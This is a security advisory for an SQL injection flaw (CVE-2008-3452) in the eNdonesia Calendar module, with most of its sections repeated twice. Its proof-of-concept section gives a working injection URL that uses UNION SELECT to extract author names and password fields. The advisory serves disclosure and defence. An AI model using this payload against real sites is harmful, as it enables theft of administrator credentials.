eNdonesia Calendar Module SQL Injection Vulnerability
BID:30457
Info
eNdonesia Calendar Module SQL Injection Vulnerability
| Bugtraq ID: | 30457 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3452 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 30 2008 12:00AM |
| Updated: | May 07 2015 05:25PM |
| Credit: | Jack |
| Vulnerable: |
eNdonesia Calendar Module 0 |
| Not Vulnerable: | |
Discussion
eNdonesia Calendar Module SQL Injection Vulnerability
The Calendar module for eNdonesia is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Note that the Calendar module is not shipped with eNdonesia by default.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
NOTE: Currently we don't which versions of the module are affected by this issue.
The Calendar module for eNdonesia is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Note that the Calendar module is not shipped with eNdonesia by default.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
NOTE: Currently we don't which versions of the module are affected by this issue.
Exploit / POC
eNdonesia Calendar Module SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/mod.php?mod=calendar&op=list_events&loc_id=-999/**/union+select/**/0x3a,0x3a,concat(aid,0x3a,pwd),0x3a,concat(name,0x3a,pwd)/**/from/**/authors/*where%20name%20pwd
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/mod.php?mod=calendar&op=list_events&loc_id=-999/**/union+select/**/0x3a,0x3a,concat(aid,0x3a,pwd),0x3a,concat(name,0x3a,pwd)/**/from/**/authors/*where%20name%20pwd
Solution / Fix
eNdonesia Calendar Module SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].